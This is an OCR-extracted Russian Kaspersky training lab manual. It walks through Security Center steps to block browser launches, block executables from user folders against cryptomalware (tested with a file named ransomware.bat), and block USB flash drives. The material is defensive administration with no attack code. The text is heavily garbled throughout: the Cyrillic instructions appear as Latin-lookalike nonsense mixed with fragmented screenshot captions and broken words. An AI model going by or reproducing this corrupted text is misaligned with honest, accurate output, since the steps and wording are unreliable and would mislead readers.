OTKpOWTE HACTPONKN KOHTPOSSA NPOorpaMm B NonuTrke. BKo4MTe KOHTPOMb NporpaMm 1 BblIoepuTe pesxxum
Eriokuposames (a He Yeedomrnsimb).

[o6GaBbTe Npasuro, KOTOPOE 3arnpeLlaeT 3anyckaTb NPorpamMmMbl U3 KaTeropumn bpaysepb!, KOTOPYIO Bbl CO3A4an B
npeabiayLiem 3agaHum.
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22. OTkponTte Beb-
KoHconb Kaspersky
Security Center

Current path: KSC
23. B 6okoBOM MeHt0 KASPERSKY [ Add | [ 2 Refresh st
BbIbepute Devices | SECURITY CENTER
Polices & Profiles

D X ¢
O stat. >= Policy name Application

o Kaspersky Endpoint Security for Windows (11.6.0)
24. OTKponTe NONMUTUKY

KasperSky O ndows (11.60) Kaspersky Endpoint Security for
Endpoint Security
for Windows = DEVICES O e 1 o e e Hesmereis Security 1 for Wi
] urity 11 forWindows .. >>  Kaspersky Security 11 for Windo.
POLICIES & PROFILES Kaspersky Security Center 13 Network Agent
25. ﬂepeﬁ,qMTe Ha Kaspersky Endpoint Security for Windows (11.6.0)
Bknagky Application
Setti ngS Low protection level. Important protection components are disabled. Learn more
26 nepel;l,ﬂ,l’lTe B pasgen GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Security Controls

ced Threat Protection

27 Bb|6epV|Te ) N Application Contro
KOMMOHEHT Essential Threat Protection
Application Control Security Controls p—

ion and Response

28. Biatounre

KOMMNOHEHT
Appllcat'on CO ntr0| Application Control =] [ o]

29 npof/'lp'w-re Mo CCbINKe @ Application Control ENABLED
Rules Lists Settings

Application Control Settings =] [ o]

@) Kaspersky Endpoint Security for Windows blocks startup of applications that are blocked by Application
Control settings.

y Endpoint Security for Windows does not block startup of applications that could be blocked by

Control settings, but logs information about it in the report (Test mode).

Application Control Mode

In Denylist mode, Application Control allows all users to start any applications except for those listed in the Application Control blocking rules. In Allowlist mode, Application
Control blocks all users from starting any applications except for those listed in the Application Control allowing rules

®) Denylist
Allowlist

Rules Lists S gs
Denylist and Allowlist Rules Settings
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B YEPHbIN CMMUCOK.

Haxvnte Add

Denylists and allowlists

Denylist (active) Allowlist

Application Control allows all users to start any application except for the applications specified in Application Control block rules

-+ Add Delete == Import

Name Status Test mode Allowed Blocked

No data

31. NponguTe no cebirike
Please choose a
category

Action

Log startup of applications that could be blocked by Application Control settings (Test mode)

® Block startup of applications that are blocked by Application Control settings

Rule is disabled and will not affect application startup

Application category

The rule controls the startup of applications from a selected category.

Category: Browsers

ecurity for Windows allows applications in this group to create executable files that will be allowed to
Subjects and their rights
Deny for other users
+ Add Delete
User or group Launch privileges

Everyone ) Blocked

Browsers

33. Haxmute OK

Application categories

+ Add # Edit X Delete

Name

. Browsers
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KaTeropmsa Browsers

3abnokupoBaHa ans
BCeX norb3oBaTenen Action

Log startup of applications that could be blocked by Application Control settings (Test mode)
35. Haxmmte OK 2 : v peeeren : '
® Block startup of applications that are blocked by Application Control settings
Rule is disabled and will not affect application startup

Application category

The rule controls the startup of applications from a selected category.

Category: Browsers

Please choose Q

Trusted Updaters
Haspersky Endpoint Security for Windows allows applications in this group to create executable files that will be allowed to
startup in the future

Subjects and their rights

Deny for other users

<+ Add X Delete
User or group Launch privileges
Everyone (® Blocked

3. Broure
ncnoJjib3oBaHne

OaHHOWN KaTeropuu,

€CIN OHO He bbINno Denylists and allowlists
BKINMKO4YeHO [
aBToOMaTU4YecKn Denylist (active) Allowlist

37. Haxkmute OK

38. CoxpaHuTte

Application Control allows all users to start any application except for the applications specified in Application Control block rules.

MOMUTUKY: HaXMUTE + Add < Delete == Import 3= Export

Save nYes Name Status Test mode Allowed Blocked Trusted
39. MNogoxanTte, Nnoka @ Enabled - = Everyone

nonnTuKa

NMPUMEHNTCA

3apaHue C: 3anyctute Mozilla Firefox n Internet Explorer

Y6egutech, YTO Nonb3oBaTenu He MoryT 3anyckatb Mozilla Firefox, Ho moryT 3anyckatb Internet Explorer.

=
-__ps
Alex-Desktop

40. Bongute B cuctemy nopg y4eTHom 3anmcbkto abc\Alex ¢ naponem Ka5per5Ky
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41.

42.

3anycTtute Beb-6paysep Mozilla
Firefox

O6paTtute BHMMaHue, YTO
Kaspersky Endpoint Security
Hnokupyet 3anyck 6paysepa
Firefox, o yem 1 coobLiaeT

INabopatopHas paboTa 15.
Kak 3abrnokvpoBaTb 3anyck HEU3BECTHbIX (halsioB B CETU

V Kaspersky Endpoint Security for Windows
4 ~pplication Control

Application startup prohibited

The executable file firefox.exe has been blocked from
starting according to an Application Control rule.

Information about file startup:
Computer: ALEX-DESKTOP
User: ABC\Alex

Rule that blocks file startup: Browsers
Date and time that the file was started: 22-Mar-19 09:44:37

nonb3oBarternto

Reguest access...

43. Haxxmute OK, 4TOObI 3aKpbITh C:\Program Files (x86)\Mozilla Firefox\firefox.exe *

NHopmMaLMoHHoe okHo Windows
Windows cannot access the specified device, path, or file, You may not have the appropriate
permissions to access the itern.

- a X
44 " 3anyCTMTe 6pay3ep Intern et o 2 https msn.com/en-us?ocid=iehp&AF O ~ @ & || I MSN | Outlook, Office, Sky.
Explorer

u Get new wallpapers every day from... Hinse

= =— Explore the world from your desktop with daily...

45, Y6enutech, uTo Kaspersky

Endpoint Security He 6rnokupyet & s (| Sovin B

Internet Explorer o
B outiook.com € wayfair ﬁ Microsoft Store 4 o >
CORONAVIRUS NEWS |~ NEW YORK/59°F # Try MSN in Microsoft Edge L >

Biden to'announce new guidance on masks
outdoors

3akJiioueHue

I'IpM HeobxoouMocTun paspewmnTb Uin 386]'IOKVIpOBaTb Lenbin Knacc nporpamMmm, y,EI,O6HO NnoJib30BaTbCA
KaTeropmnamm J'Ia6opaTopvw| KacnepCKoro. OHM nononHstTcsa BMecTe ¢ 0GHOBNEHNAIMU, 1 BCeraa MoXHoO ObiTb
YBEPEHHbIM B TOM, 4YTO Clieayoliasd Bepcna n3aseCTtHoro 6pay3epa aBTOMAaTU4YECKN 6yp,eT pobaeneHa B CMMCOK.

Mpu cozgaHum NpaBun crieqyeT NOMHUTB, YTO 3anpeLlaoLme npaevia BCeraa MMeT NpemmyLLecTso nepea
paspeLuarowmmu. MNMoatomy, ecrnv HEOBXOAMMO 3anpeTUTbL KaTeroputo MPorpaMM 3a UCKIIOYEHNEM HEKOTOPLIX,

cneayet co3faBaTb OOHY KAaTeropuro ¢ UCKIMOYEHNEM, YTO 1 BbiNno caenaHo B 3Ton nabopaTtopHon pabote. Jliobown
OPYroi BapuaHT He NPUBEAET K HY)KHOMY pe3ynbTaTy.

JlabopaTtopHasa paboTa 15.
Kak sabnokupoBaTtb 3anyck Hen3BecTHbIX ¢aiifioB B
cetm

CueHapwui. KoHTponb NporpamMm, Tak Xe, Kak U KOMMOHeHT [NpeaoTepalleHme BTOPXXEHWI, NO3BONSET YMEHbLUNTD
PUCK 3aMycka HOBbIX BPEAOHOCHbIX NMporpamMM. YTobbl yMEHBLUNTE PUCK, C MOMOLLbIO KOHTPOSISt NPOrpamm
3anpeTuTe 3anyck Bcex ¢hannos, KpOMe JOBEPEHHbIX U3 onpeaeneHHbIX AUPEKTOPUN onepaumoHHON CUCTEMBI.
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CopepxaHue. B aToin nabopatopHon paborte:
1. Co3spgaiTe kaTeropuio Nporpamm, 3anpeLlaroLLyro 3anyck HeM3BeCTHbIX bannos

2. BHecuTe M3MeEHeHMs B NOMUTKKY, 3aNpeTUB BCEM NOMb30BaTENAM 3arnyck HEU3BECTHbIX haiinos
3. YGeauTecb B KOPPEKTHOCTU HACTPOEK

3apaHue A: Cozpaiite kaTeropuio nporpamm, 3anpeLaioLlyio 3anyck
Heun3BecTHbIX pailnoB

B aTom 3agaHnm HeobxoaMmo co3gaTth KaTeropumto nporpamm 3awmra ot wmudpoBaHus.
. I-...'I
] e -—
masm 1 = —
_) S L2 Ee
= ! - -
DC KsC

Tom-Laptop  Alex-Desktop

I- a
I_: T
KsC

1. OrkpoiiTe BeG- OPERATIONS / THIRD-PARTY APPLICATIONS / APPLICATION CATEGORIES

KoHcomnb Kaspersky

Security Center N -

| +Add | x | = Refresh |

2 I_IepeVIp,VITe Ha AL [ Type Name Inherited

CTpaHunuy SECURITY CENTER

Operations | s Browsers

Thqu-pqrty 3 OPERATIONS

applications | ¢ Previous |1

Application

Categories

THIRD-PARTY APPLICATIONS
3. Haxmwute Add
APPLICATION CATEGORIE ..

4yTOBbI CO3aaTh

HOBYIO KaTeroputo

Kateropum

Protection

Cryptomalware Name [ Protection Cryptomalware l
5 B mMeTode Select category creation method

co3gaHunsa ® Category with content added manually. Data of executable files is manually added to the category.

Category that include: table files froma's fic folder. Executable files of lication pied to th

Kareropnm Specified fo.der are sutomatcally processad and the r metcs 2re adoed o the category.

Bb|6epMTe Category that includes executable files from selected devices. These executable files are processed

Categ Ory with automatically and their metrics are added to the category

content added . . L _

Category will include only unique conditions from the Wizard.
manually

6. Haxmute Next
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7. YT1OOBLI 4OGABUTL
ycrnoBue, HaXXMuTe
Add

Conditions

Delete | + Add

Condition criterion

INabopatopHas paboTa 15.
Kak 3abrnokvpoBaTb 3anyck HeU3BECTHbIX (halifoB B cETU

New Category Wizard

Condition value

No data

8. Ckonupynte Ha pabounn cton carn Conditions_Protection_Cryptomalware.txt. Mecto pacnonoxeHuns

drarina yTouHUTe Y UHCTPYKTOpa

9. OTkponiTe dann
Conditions_
Protection__
Cryptomalware.txt
B Nporpamme
BriokHOT

Bl Conditions_Protection_Cryptomailware - Notepad

File Edit Format View Help

ESYSTEMDRIVE%\US&r‘s\*\Appdata\Roaming“
ESYSTEMDRIVEX\Users\*\Appdata\Local™

ESYSTEMROOTH\Temp™

ZSYSTEMDRIVEX\Users\*\Desktop™
%SYSTEMDRIVE#\$Recycle.Bin*

%SYSTEMROOT
ZSYSTEMROOTX\system32™

ZSYSTEMDRIVEZ\Users\*\Documents®
ZSYSTEMDRIVEZ\Users\*\Downloads®
ZSYSTEMDRIVEZ\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup™

%SYSTEMDRIVEX\Documents
%SYSTEMDRIVEX\Documents
XSYSTEMDRIVE®\Documents
XSYSTEMDRIVE®\Documents
XSYSTEMDRIVE®\Documents
XSYSTEMDRIVE®\Documents

and Settings\*\Application Data*

and Settings\*\local Settings‘\Application Data\*

and Settings\*\Local Settings\Temporary Internet Files®
and Settings\*\Desktop™

and Settings\*\My Documents*®

and Settings\*\5tart Menu\Programs\Startup*

10. YkaxuTe Specify
path to
application
(masks

supported)

11. Haxxmute Next

12.
13. BcTtaBbTe
CKOMMPOBAHHYIO
CTPOYKY U HXMUTE
Next

14. Haxxmute Add,
yTOObI JOOaBUTL
ocTarbHble

3Ha4YeHunA

kaspersky

Condition criteria

Specify rule type for condition
From KL category
Select certificate from repository

®) Specify path to application (masks supported)
Removable drive

Hash, metadata, or certificate

BblgenuTe n ckonupyinTe BEpXHIOK CTPoYKy U3 danna Conditions_Protection_Cryptomalware.txt

Condition criteria

Specify the path to the folder in which running or downloading executable files, scripts, and modules will be monitored. Use regular
expressions such as C:\Program Files\Internet Explorer\*.
We do not recommend using this type of criterion because using common criteria, such as folder path, is unsafe

%SYSTEMDRIVE*\Users\*\Appdata\Roaming*

New Category Wizard

Conditions
Delete 4 Add # Properties
Condition value

Condition criterion

Path to Folder %SYSTEMDRIVEZ\Users\*

\Appdata‘Roaming*;
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15. CamocTodaTensHO
BCTaBbTE BCE
ocTarnbHbIe NYTU 13
danna
Conditions_
Protection__
Cryptomalware.txt

16. Haxxmute Next

17. NoGaBbTe
WCKMNIOYEHNS 13
KaTeropuu.
Haxmunte Add

18. Ykaxunte From KL
category

19. Haxxmute Next

kaspersky

INabopatopHas paboTa 15.
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New Category Wizard

Conditions
Delete -+ Add Properties

Condition criterion Condition value

Path to Folder %SYSTEMDRIVE?\Users\ *\Appdata\Roaming*;
Path to Folder %SYSTEMDRIVE%\Users\*\Appdata\Local*;
Path to Folder %SYSTEMROCOT %\ Termp*;

Path to Folder %SYSTEMDRIVE%\Users\*\Desktop*;

Path to Folder %SYSTEMDRIVE%\SRecycle Bin*;

Path to Folder %SYSTEMROOTZ;
Path to Folder %SYSTEMROOT#%\system32*;
Path to Folder %SYSTEMDRIVE%\Users\*\Documents*,

Path to Folder #%SYSTEMDRIVEX\Users\ *\Downloads*;

Path to Folder %SYSTEMDRIVEX\Users!

ppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*;

Path to Folder %SYSTEMDRIVE?\Documents and Settings\*\Application Data*;

Path to Folder Z%SYSTEMDRIVE%\Documents and Setting

Local Settings\Application Data\*;

Path to Folder %SYSTEMDRIVE?\Documents and Setting

Local Settings\Temporary Internet Files*;

Path to Folder Z%SYSTEMDRIVEX%\Documents and Settings\*\Desktop*;

Path to Folder %SYSTEMDRIVE?\Documents and Settings\*\My Documents*;

Path to Folder

%SYSTEMDRIVE%\Documents and Settings\*\Start Menu\Programs\Startup*;

Exclusions

+ Add Properties
Cendition criterion Condition value

No data

Specify rule type for condition
®) From KL category
elect certificate from repository
Specify path to application (masks supported)
Removable drive

Hash, metadata, or certificate
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20. OT™eTbTE BCE
KL-kaTeropum

21. Haxumunte Next

22. Haxmnte OK

kaspersky

INabopatopHas paboTa 15.
Kak 3abrnokvpoBaTb 3anyck HEU3BECTHbIX (halsioB B CETU

Condition criteria

+ Add
Condition criterion
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category
KL Category

KL Categary

=l |

Condition value

Graphic Design Scftware

Graphic Design Scftware\3D Modeling Software
Graphic Design Software\Animation Software

Graphic Design Software\Flash Software

Graphic Design Software\CAD Software

Graphic Design Software\Desktop Publishing Softw.

Graphic Design Software\B.

Graphic Design Software\ |

Graphic Design Software\Media Managers
Graphic Design Software\Image Editors
Golden Image

Golden Image\Multimedia

Golden Image\Multimedia\Codecs

Golden Image'\Multimedia\Players
Golden Image\Networking Software

Golden Image\Networking Software\Remote Access Applications
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23. NopTBepanTte
co3faHune
KaTeropum.
Haxmnte OK

Exclusions
< Delete 4 Add # Properties

Condition criterion Condition value
KL Category Graphic Design Software
KL Category Graphic Design Software\3D Modeling Software
KL Category Graphic Design Software\Animation Software
KL Category Graphic Design Software\Flash Software
KL Categary Granhic. Desion Software\CAD Software
KL Category Warning x
KL Category Do you want to create category "Protection Cryptomalware™?
KL Categary m Cancel
KL Category A oo syt e S

JlabopaTopHasi paboTa 15.
Kak 3abrnokvpoBaTb 3anyck HEU3BECTHbIX (halsioB B CETU

New Category Wizard

3apaHue B: BHecuTe nsmeHeHuns B MOJINTUKY, 3anpeTB BCeM NnoJib3oBaTesniam

3anyck Heu3BecTHbIX ¢paiinos

OTKpONTE HACTPOMKN KOHTPOIS NPOrpaMm B NonmTuke. BkNouMTe KOHTPOMNb NporpamMmm 1 BelbepuTe pexmm

Griokuposame (a He Yeedomrnsimb).

[o6aBbTe NpaBuno, KOTOpPoe 3anpeLlaeT 3anyckaTb Nporpammel U3 kateropum Protection_Cryptomalware,

KOTOPYKO Bbl co3fanun B npeabiayulemM 3sagaHum

3agaHue BbIiNonHsieTcd Ha komnbtoTepe KSC.

— o

24. OTkponTe Beb-koHcoNb Kaspersky Security Center

25. B 60KOBOM MEHH
BblbepuTe Devices |
Polices & profiles

26. OTKponTE NONUTUKY
Kaspersky Endpoint
Security for
Windows

27. MNepengnte B pasgen
Application Settings

28. lMepengute B pasgen
Security Controls

29. BbibepuTe KOMMOHEHT
Application Control

T= DEVICES

DEVICES / POLICIES & PROFILES

Current path: KSC

2 Refresh list

KASPERSKY + Add
SECURITY CENTER

Stat . =>  Policy name

Kaspersky Endpoint Security for Windows (11.6.0)

L]

Application

Kaspersky Endpoint Security for ..

> Haspersky Secunity 11 for Windo.

POLICIES & PROFILES

GENERAL  EVENT CONFIGURATION  APPLICATION SETTINGS  REVISION HISTORY

Advanced Threat Protection

Essential Thraat Protection

Security Controls

POLICY PROFILES

kaspersky
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30. MNponguTe no ccbirke
Rules Lists Settings

31. Haxmunte Add

32. MNepenguTe No ccbinike
Please choose a
category

33. 3 cnucka
npeacTaBneHHbIX
KaTeropun eolbepuTte:
Protection
Cryptomalware

34. Haxmute OK

kaspersky
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Application Control 1=

Application Control =) [ o]

@ Application Control ENABLED

Application Control Settings =) [ o]

Endpoint Security ft
settings.

dows blocks startup of applications that are blocked by Application

ons that could be bloc
mode)

ws does not

Endpoint Ser 0 C
it logs information about it i

tup of appl
port

Application Control Mode

Il users to start any applications except for those listed in the Application Contral blocking rules. In Allowlist mode, Application
applications e t for those listed in the Application Control allowing rules.

n Denylist mode, Application Control
Control blocks all users fram startin

® Denylist

Denylist and Allowlist Rules Settings

Black and White lists

Black and White lists

Black list (active) White list

Application Control allows all users to start any applications except for the applications specified in Application Control block rules.

-+ Add
Name Status Test mode Allowed Blocked Trusted Updater
Browsers m Enabled - - Everyone
Application Control rule
Action

Log startup of applications that could be blocked by Application Control settings (Test mode}

® Block startup of applica

tions that are blocked by Application Control settings

Rule is disabled and will not affect application startup

Application category

The rule controls the startup of applications from a selected category

Category:

Application categories

Application categories

+ Add # Edit X Delete
Name
L) Protection Cryptoma

m
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Action

Log startup of applications that could be blocked by Application Control settings (Test mode)

® Block startup of applications that are blocked

pplication Control settings

Rule is disabled and will not affect application startup

Application category

The rule controls the startup of applications from a selected category

Category: Protection Cryptomalware

ate executable files that will b

Subjects and their rights

Deny for other users
+ Add Delete
User or group Launch privileges

veryone P Blocked

36. Haxawure OK

Denylists and allowlists

Denylist

Allowlist

Application Control allows all users to start any application except for the applications specified in Application Control block rules

+ Add == Import  Z= Export
Name Status Test mode Allowed Blocked Trusted Updd
@ Enabled - -
C @ Enabled - - 2

3 7 i Ha)KM uTte OK Kaspersky Endpoint Security for Windows (11.6.0)

38. COXpaHVITe NONNTUKY: Low protection level. Impertant pratection components are disabled. Learn more

HaxmuTe Save un Yes
GENERAL EVENT CONFIGURATION  APPLICATION SETTINGS  REVISION HISTORY  POLICY PROFILES

39. MNopoxauTte, noka
nonnuTuka anMeHMTCH . SR Application Control

Essential Threat Pro

Security Controls

and Response

ryption
Local Tasks Save settings x
General settings mportant protection Jrmation,
Adaptive  click the link in the des
Are Sure you w
Yes No

3apaHue C: Y6eauTtecb B KOPPEKTHOCTN HaCTpPoeEK

B atom 3agaHunn Heobxoammo ybeauTbes, uto Kaspersky Endpoint Security 6rokmpyeT 3anyck HEM3BECTHbIX
darinos.

kaspersky 112



KL 002.11.6:
Kaspersky Endpoint Security and Management

INabopatopHas paboTa 15.
Kak 3abrnokvpoBaTb 3anyck HEU3BECTHbIX (halsioB B CETU

40.

41.

42.

43.

44.

45.

46.

47.

48.

49.

-

Alex-Desktop

Bongute B cuctemy nopg y4etHon 3anmcbio abc\Alex ¢

naponem Ka5per5Ky.

3anyctute nporpammy ransomware.bat oBOVHbIM

Len4YKoOM MbILLN

O6paTnTe BHMMaHue, 4To KES 6riokupyeT 3anyck

ransomware.bat, o yem BbIBOOUT COoOTBETCTBYIOLLEE

coo0LLeHne

Haxmunte OK, 4TOObI 3aKpbITb MHGHOPMALMOHHOE
okHo Windows

Kaspersky Endpoint Security A4
Application Control

Application startup prohibited

The executable file ransomware.bat has been blocked
from starting according to an Application Control rule.

Information about file startup:

Computer: TOM-LAPTOP

User ABC\Tom

Rule that blocks file startup: Protection Cryptomalware
Date and time that the file was started: 04-Apr-21
13:40:36

Request access

ChUsers\tom.ABC\Desktop\ransomware. bat

‘Windows cannot access the specified device, path, or file. You may not have the appropriate
permissions to access the item.

OTkpoliTe Be6-KOHCOMb
Kaspersky Security
Center

B 6okoBOM MeEHI0
BbIOepuTte Devices |
Polices & Profiles

KASPERSKY
SECURITY CENTER

OTKpoWiTe NONNTUKY
Kaspersky Endpoint
Security for Windows

t= DEVICES

POLICIES & PROFILES

DEVICES / POLICIES & PROFILES

Current path: KSC

| | Add | | o Refreshlist | @ ngroup [y Cop & Move X Delete g Dist

[l stat. »> Policy name Application

Kaspersky Endpoint Security for Windows {11.6.0)

O w Kaspersky Endpoint Security for Windows (11 60)

Haspersky Endpoint Security for
Haspersky Security 11 for Windows Server
Default p

Kaspersky Security 11 for Windo.

Haspersky Security Center 13 Network Agent

MepenauTe Ha BKNagky
Application Settings

MepenanTe B pasgen

Security Controls CENERAL

EVENT CONFIGURATION

BbibepnTe KOMNOHEHT
Application Control

Advanced Threat Protection
Essential Threat Protection
Security Controls

ion and Response
Data Encryption

Local Tasks

sky Endpoint Security for Windows (11.6

Low protection level Important protection components are disabled. Learn more

APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Application Contro

kaspersky
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INabopatopHas paboTa 16.
Kak 3anpeTuTb gocTyn K pneLukam

50. OTICTIONUTE KOMTOHEHT

KoHTponb nporpamm
51. Haxmute OK

52. CoxpaHuTte NonuTuky:
HaxmMuTe OK

53. lNopoxgunte, noka
NonMTUKa NPUMEHUTCS

Application Control

@ Application Control ENABLED

Application Control Settings

&) Kaspersky Endpoint Security for Windows blocks startup of applications that are blacked by Application
Control settings.
Ka i ndows does n fons that could be blocked by
Al ut logs information st mode)

Application Control Mode

n Denylist mode, Application Control allows all users to start any applications except for those listed in the Application Control blocking rules. In Allowlist mode, Application

Control blocks all users from starting any applications except for those listed in the Application Control allowing rules
®) Denylist
Allowlist

Denylist and Allowlist Rules Settings

Advanced settings

Control DLL madules load (significantly increases the load on the system)
Message templates
Message about blacking Message to administrator

Template message text that is displayed when an application is blocked from starting

+ Add variable -+ Add link > Reset

= ©

3akJiioueHue

B aTon nabopaTopHON pacCMOTPEH OAMNH U3 BapUaHTOB KOHTPOJS 3anycka HOBbIX (hannoB B CETU, a Takke
Hambonee ObICTPbIN BapuaHT BNOKMPOBaHNSA 3amnycka 3TUX dannos.

JlabopaTtopHas paboTa 16.
Kak 3anpeTnuTb fOoCTYN K ¢HeI.IJKaM

CueHapun. B xoge aHanusa UHUUAEHTOB BbISICHUIOCH, YTO MHOMME KOMMbIOTEPbLI MHOULMPYIOTCA ¢ doneLuek.
BbINno NpuHATO pelueHne 3abnokMpoBaTh 3TOT NyTb NPOHUKHOBEHUSA BPEAOHOCHbIX 06bekToB. Bawa 3agava —
3abnokupoBaTb 40CTyn K chriewkam npy nomowm Kaspersky Endpoint Security anst Bcex paboumx CTaHUmMn cetu

ABC.

CopepxaHue. B aton nabopatopHoi paborTe:

1. Hactpownte 6nokupoBky goctyna K donewkam
2. TpoeepbTe GMOKMPOBKY hreLl-HakonuTenemn
3. TpoBepbTe NonyyYeHne 3anpoca oT Nonb30oBaTens

3apaHue A: HacTpoiiTe 6nokupoBky gocTyna K ¢pnewukam

B aTom 3agaHum Mbl NOCMOTPUM, FAe B NONUTMKE HacTpavBaeTcs GroknpoBka AocTyna K doreLukam.

kaspersky
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Tom-Laptop

1. BowauTe B cuctemy nog ydeTHonm 3anuceto abc\Tom. MNMaponb — Kabper5Ky

2. TMogkniounte GreLLKy ¢ MaTepyanamMm Kypca K XOCT-KOMMbITepY

3. B meHio VMware (5 Tom-Laptop * |

. Close Tab
Workstation HaxmuTe VM, .
. () Power >
Removable Devices » <THR (=) Removable Devices > CD/DVD drive 1
Ballero Hoc“TenH>1 Pause ~  Metwork adapter 1 »
ConneCt (DlsconneCt from ﬁl Send Ctrl+Alt+Del Alcor Micro Mass Storage ? Connect (Disconnect from Host)
HOSt) Grab Input Realtek USB 10/100/1000 LAN > Change lcon...
Snapshot 5 Realtek USB Audic > & Show in Status Bar
Capture Screen Realtek Integrated_Webcam_HD 3
\ Intel(R) Wireless Bluetooth(R) »
ianage ’ Broadcom 5880
Reinstall Viware Tools... ’
',E_'] Settings...
4. Ha komnbtoTepe Tom- = | B IR

Computer View -~ o

Laptop, HaxxmuTe Start,

Fi
Com puter i‘ _II W b" D E m‘uninstall or change a program

B4 System properties
Properties Open Rename  Access Map network Add a network Open

5. Yb6egutechb, 4TO hrielka mediav  drvee  location  Settings B Manage
Locati Network Syst
ycneLwHo nogkn4yunnacb e shwer ystem
€« v 4 O ThisPC » v | search ThisPC )
A ~
» g Quick access == Local Disk (C) DVD Drive (D)
Mg 317 GB free of 39.4 GB
» @ OneDrive
USB Drive (E)

> O ThisPC

Wy 300 GE free of 3.90 GB
¥ s WSB Drive (E)

¥ Network locations (1) .
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Mepekntountech Ha komnbtoTep KSC.

6. OrTkpoliTe BeL-
KOHCOIb
Kaspersky
Security Center

7. B 6okoBOM MeH0
Bblbepute
Devices |
Policies &
Profiles

8. Ortkponte
NOnMMTUKY
Kaspersky
Endpoint
Security for
Windows

9. T[epengute Ha
BKNagky
Application
Settings

10. Mepengute B
pasgen Security
Controls

11. Bbibepute
KOMMOHEHT
Device Control

12. Mpongute no
ccbinke Access
rules for devices
and Wi-Fi
networks

kaspersky

INabopatopHas paboTa 16.
Kak 3anpeTuTb gocTyn K pneLukam

DEVICES / POLICIES & PROFILES

Current path: KSC

- Refresh list

KASPERSKY + Add
SECURITY CENTER

Stat »= | Policy name

Kaspersky Endpoint Security for Windows (11.6.0)

= DEVICES : Default nratection o

POLICIES & PROFILES Kaspersky Security Center 13 Network Agent

e ¢

Application

Kaspersky Endpoint Security|

Kaspersky Security 11 for Wil

Kaspersky Endpoint Security for Windows (11.6.0)

Low protection level. Important protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Security Controls

Device Control B o
Device Control a [ @]
@ Device Control ENABLED

Device Control Settings & O
3 Allow requests for temporary access

Access rules for devices and Wi-Fi netw
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13. MponguTte no
ccblnke
Removable
drives

14. Obpatute
BHUMaHMWe, 4YTO
napametp
npefocTaBneHns
JocTtyna K
YCTPOWNCTBY
HaxogauTCcAa B
pexvme
Depends on
connection bus

15. B napametpe
Access
BbiGepuTe Block

16. Haxmute OK

17. lNMpoBepbTeE, 4TO
napameTp
JocTyna K
Removable
drives HaxoguTcs
B Block pexume

18. Haxxmute OK

19. Coxpanute
NOMUTUKY:
Haxmute OK

20. MopgoxanTe, Noka
nonuTuka
NPUMEHUTCSA

kaspersky

INabopatopHas paboTa 16.
Kak 3anpeTuTb gocTyn K pneLukam

Types of devices

Access To Storage Devices

Name

Hard drives

Access

Depends on connection bus
Depends on connection bus
Depends on connection bus
Depends on connection bus

Depends on connection bus

Device Control Settings P

Device Access Rules Legging

Configuring device access rule
Access

Allow
® Block

Depends on connection bus

Restrict by rules
Users' rights
+ Add Edit Delete

Priority

Access schedule

1] Default schedule

Users' rights

Enabled Read Write

Types of devices

Access To Storage Devices

Name

Hard drives

Access

Depends on connection bus
Block

Depends on connection bus
Depends on connection bus

Depends on connection bus

17
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INabopatopHas paboTa 16.
Kak 3anpeTuTb gocTyn K pneLukam

3apaHue B: MNpoBepbTe 6noknpoeKy ¢pnew-Hakonurenei

B 3TOM 334aHUM Mbl NOMbITAEMCS NONYYUTb AOCTYMN K Y>KEe NOAKMHOYEHHOMY B KOMMbIOTEP YCTPOWCTBY.

21. Bongute B cuctemy nof y4eTHon
3anucbto abc\Tom. Maponb — O Computer
Ka5per5Ky

=

22. ObpartunTe BHMMaHue, 4To chreLlka He
nponana u3 cnucka Devices and drives

Location

> Quick access
> f@ OneDrive
> O This PC

¥ s USB Drive (E3)

1 items

Properties Open Rename

Wiew

i

Access Map network Add a network Open

media ~

« v 4 5 ThisPC »

~

w

drive >
Network

Local Disk (C:)

My 3,00 GB free of 3.90 GB

v ¥ Network locations (1)

- I
Mg 317 GE free of 39.4 GB

USE Drive (E:)

h E EiUninstal\orchangeaprogram
1B System properties
location Settings [3 Manage
System
v O Search This PC 2
~
DVD Drive (D:)
v
E=

23. 3angute Ha cneLuky

24. ObparnTe BHMMaHue, YTo, HECMOTPS Ha
Hanun4une drnelwkm B cnucke Devices and
drives gocTtyna K Hem HeT

25. 3akponTte MHpopMaLMOHHOE OKHO
Windows

26. Haxvnte Request access

27. O3HaKOMbTECh C COOEPKNUMbIM
coobLLeHns

28. Haxwuute Send

kaspersky

Message to the local corporate network administrater . — [}

| Youdon't currently have permission to
* access this folder.

Click Continue to permanently get access to this

folder.
Kaspersky Endpoint Security v X

Device Control

Operation with the device prohibited

Access to the device or the operation Read with the
device Removable drives has been blocked according to
the device access rule,

If you consider the blocking to be mistaken, contact the
administrator of the local corporate network.

Request temporary access Request access

Hello!

Please allow access to operations with the device Generic Flash Disk
USB Device that has been blocked according to the device access
rule.

Device parameters:

Device type: Removable drives

Device name: Generic Flash Disk USB Device

Model: VEN_GENERIC&PROD_FLASH_DISK

Device ID: USBSTOR
\DISK&VEN_GENERIC&PROD_FLASH_DISK&REV_8.07\072E0ADO&O

Operation details:

Computer: TOM-LAPTOP

User: NT AUTHORITY\SYSTEM

Blocked operation type: Write

Start date and time: 07-Apr-21 18:02:43

L I
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3apaHue C: I'Iposepb're nojsiyydyeHue sanpoca oT noJib3oBaTtensa

B aTom 3agaHun mbl noslydanMm 3anpoc OT Nosfib3oBaTesid Ha npeaocTtaBneHne aocrtyna K cnew-HakonuTento.

3afaHue BbINoMHAeTCA Ha koMnbloTepe KSC.

—
‘_: =
=at!
KsC
29. OTkponTe BeO- MONITORING & REPORTING / EVENT SELECTIONS
p
KOHCOI1b
Kaspersky (111] All selections v
Security
Center KASPERSKY |- Add # Properties > Reconfigure sorting and start
SECURITY CENTER
30. B 6okoBOM B| Selection name Selection type
MEHIO0 User requests Predefined selection
BblbepuTe
Monitoring & Recent events Predefined selection
Reportlng | tical events Predefined selection
Event _ Predefined seloction
Se|eCtI0nS — redefined selectior
arnings Predefined selection
31. HaxmuTte User
I‘eq u eStS Inio events Predefined selection

